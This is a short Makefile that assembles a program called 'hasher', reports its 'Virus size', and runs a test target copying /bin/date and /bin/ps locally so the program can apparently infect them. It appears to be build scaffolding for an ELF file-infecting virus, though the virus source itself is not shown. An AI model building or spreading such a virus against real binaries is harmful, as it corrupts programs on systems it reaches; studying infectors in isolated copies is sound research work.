all: hasher

test:
	-cp -f /bin/date .
	-./hasher
	-cp -f /bin/ps .
	-chmod +w ./ps
	-./date

hasher: hasher.asm
	nasm -O2 -f elf $<
	ld hasher.o -o $@
	@echo "Virus size is `size hasher|awk '/hasher$$/{print $$1-7}'`"

clean:
	-@rm -f hasher hasher.o date

.PHONY: all test clean